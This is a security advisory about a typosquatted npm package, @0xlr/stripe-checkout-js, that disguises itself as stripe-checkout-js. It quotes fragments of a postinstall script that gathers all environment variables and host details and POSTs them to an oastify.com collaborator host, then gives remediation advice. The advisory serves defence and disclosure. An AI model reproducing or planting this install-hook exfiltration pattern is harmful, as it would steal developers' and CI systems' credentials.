Malicious code in @0xlr/stripe-checkout-js (npm)

__

Source: amazon-inspector (65b2bf8dcdc0fc9b8fdbf14bbf58a011707a4425cf0029867e28067c08ef5566)

On npm install, postinstall.js enumerates the full process.env keyspace plus host identifiers (os.hostname(), username, homedir, cwd, argv, OS details) and POSTs the resulting JSON payload over HTTPS to rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com — a Burp Collaborator out-of-band subdomain used as attacker-controlled exfiltration infrastructure. The relevant code is Object.keys(process.env).sort().forEach(k => { env[k] = process.env[k]; }) followed by https.request({hostname: 'rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com', port: 443,..., method: 'POST'}). On developer and CI hosts, process.env routinely contains credential-grade values (AWS_*, NPM_TOKEN, GITHUB_TOKEN, CI/CD secrets), all of which are captured and shipped off-host without consent. The package name typosquats the legitimate stripe-checkout-js, and the version (999.0.0) is consistent with a placeholder/squat release rather than a real maintained library.

Source: ghsa-malware (8cdb7ab360d166c8793c9570a1812d570993030cff762570798fa78d9936af89)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.